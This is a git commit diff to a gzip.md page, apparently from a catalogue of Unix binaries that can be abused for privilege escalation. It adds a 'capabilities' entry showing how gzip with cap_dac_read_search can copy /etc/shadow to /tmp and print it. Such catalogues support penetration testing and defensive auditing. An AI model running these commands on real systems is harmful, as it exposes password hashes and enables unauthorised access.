Update gzip.md

Adding capabilities for cap_dac_read_search
This commit is contained in:
Sofia Engvall 2024-11-06 01:37:13 +01:00 committed by GitHub
parent ac8e667a7e
commit af39975201
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -16,4 +16,11 @@ functions:
- code: |
LFILE=file_to_read
sudo gzip -f $LFILE -t
capabilities:
- description: If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep``
code: |
gzip can read any file:
gzip -c /etc/shadow > /tmp/shadow.gz
gzip -d /tmp/shadow.gz
cat /tmp/shadow
---